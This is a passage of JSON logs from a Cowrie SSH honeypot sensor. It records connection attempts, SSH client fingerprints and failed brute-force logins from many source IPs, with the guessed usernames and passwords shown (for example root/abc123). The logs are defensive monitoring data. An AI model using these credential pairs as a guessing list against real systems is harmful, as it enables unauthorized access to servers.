sh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:43:52.081015Z","src_ip":"162.241.129.208","session":"e23b54baea43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"poloniex456","message":"login attempt [root/poloniex456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:43:52.158629Z","src_ip":"162.241.129.208","session":"e23b54baea43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:43:52.895106Z","src_ip":"154.205.134.214","session":"a70f687d6127","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:43:53.186787Z","src_ip":"162.241.129.208","session":"e23b54baea43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.114.205.189","src_port":60234,"dst_ip":"159.203.135.109","dst_port":22,"session":"f38101aa7b2f","protocol":"ssh","message":"New connection: 37.114.205.189:60234 (159.203.135.109:22) [session: f38101aa7b2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:44:04.872806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:44:04.882514Z","src_ip":"37.114.205.189","session":"f38101aa7b2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.61.233.105","src_port":53512,"dst_ip":"10.17.0.5","dst_port":22,"session":"60ac43aabb7d","protocol":"ssh","message":"New connection: 202.61.233.105:53512 (10.17.0.5:22) [session: 60ac43aabb7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:44:08.589290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:44:08.592916Z","src_ip":"202.61.233.105","session":"60ac43aabb7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:44:08.736913Z","src_ip":"202.61.233.105","session":"60ac43aabb7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitget","password":"bitget123","message":"login attempt [bitget/bitget123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:44:09.150200Z","src_ip":"202.61.233.105","session":"60ac43aabb7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:44:10.298709Z","src_ip":"202.61.233.105","session":"60ac43aabb7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.89.127","src_port":55830,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b70ed2c63e1","protocol":"ssh","message":"New connection: 172.190.89.127:55830 (159.203.135.109:22) [session: 2b70ed2c63e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:44:43.380585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:44:43.384420Z","src_ip":"172.190.89.127","session":"2b70ed2c63e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:44:43.395987Z","src_ip":"172.190.89.127","session":"2b70ed2c63e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user0","password":"123456","message":"login attempt [user0/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:44:43.476064Z","src_ip":"172.190.89.127","session":"2b70ed2c63e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:44:44.493469Z","src_ip":"172.190.89.127","session":"2b70ed2c63e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":92.7660059928894,"message":"Connection lost after 92 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:44:47.010516Z","src_ip":"167.172.116.158","session":"44bc88af4d3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.84","src_port":56610,"dst_ip":"159.203.135.109","dst_port":22,"session":"18ef9339ddb6","protocol":"ssh","message":"New connection: 41.242.115.84:56610 (159.203.135.109:22) [session: 18ef9339ddb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:44:59.391376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:44:59.395248Z","src_ip":"41.242.115.84","session":"18ef9339ddb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:44:59.616956Z","src_ip":"41.242.115.84","session":"18ef9339ddb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Md123456","message":"login attempt [root/Md123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:45:00.540867Z","src_ip":"41.242.115.84","session":"18ef9339ddb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:45:01.766995Z","src_ip":"41.242.115.84","session":"18ef9339ddb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.177.22","src_port":33254,"dst_ip":"10.17.0.5","dst_port":22,"session":"500cb0f709b6","protocol":"ssh","message":"New connection: 162.241.177.22:33254 (10.17.0.5:22) [session: 500cb0f709b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:45:04.135882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:45:04.140858Z","src_ip":"162.241.177.22","session":"500cb0f709b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:45:04.166011Z","src_ip":"162.241.177.22","session":"500cb0f709b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"J1t0$Tr0ng!W0rd","message":"login attempt [root/J1t0$Tr0ng!W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:45:04.246849Z","src_ip":"162.241.177.22","session":"500cb0f709b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:45:05.275047Z","src_ip":"162.241.177.22","session":"500cb0f709b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":34968,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc0e345ff59b","protocol":"ssh","message":"New connection: 38.93.206.2:34968 (159.203.135.109:22) [session: cc0e345ff59b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:45:25.715846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:45:25.719536Z","src_ip":"38.93.206.2","session":"cc0e345ff59b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:45:25.769295Z","src_ip":"38.93.206.2","session":"cc0e345ff59b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"canadian","message":"login attempt [root/canadian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:45:25.922083Z","src_ip":"38.93.206.2","session":"cc0e345ff59b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:45:26.974707Z","src_ip":"38.93.206.2","session":"cc0e345ff59b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.49","src_port":56428,"dst_ip":"10.17.0.5","dst_port":22,"session":"182d8904e1f9","protocol":"ssh","message":"New connection: 92.118.39.49:56428 (10.17.0.5:22) [session: 182d8904e1f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:45:29.637505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:45:29.641557Z","src_ip":"92.118.39.49","session":"182d8904e1f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:45:29.741091Z","src_ip":"92.118.39.49","session":"182d8904e1f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:45:30.044589Z","src_ip":"92.118.39.49","session":"182d8904e1f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:45:31.146830Z","src_ip":"92.118.39.49","session":"182d8904e1f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.205.134.214","src_port":51302,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a165fdf22d0","protocol":"ssh","message":"New connection: 154.205.134.214:51302 (159.203.135.109:22) [session: 6a165fdf22d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:45:47.979083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:45:47.983225Z","src_ip":"154.205.134.214","session":"6a165fdf22d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:45:48.142127Z","src_ip":"154.205.134.214","session":"6a165fdf22d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty@12345","message":"login attempt [root/qwerty@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:45:48.813134Z","src_ip":"154.205.134.214","session":"6a165fdf22d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:45:49.976753Z","src_ip":"154.205.134.214","session":"6a165fdf22d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:46:04.881463Z","src_ip":"37.114.205.189","session":"f38101aa7b2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":36500,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d19bba45a50","protocol":"ssh","message":"New connection: 103.98.149.87:36500 (10.17.0.5:22) [session: 9d19bba45a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:46:39.644805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:46:39.662077Z","src_ip":"103.98.149.87","session":"9d19bba45a50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa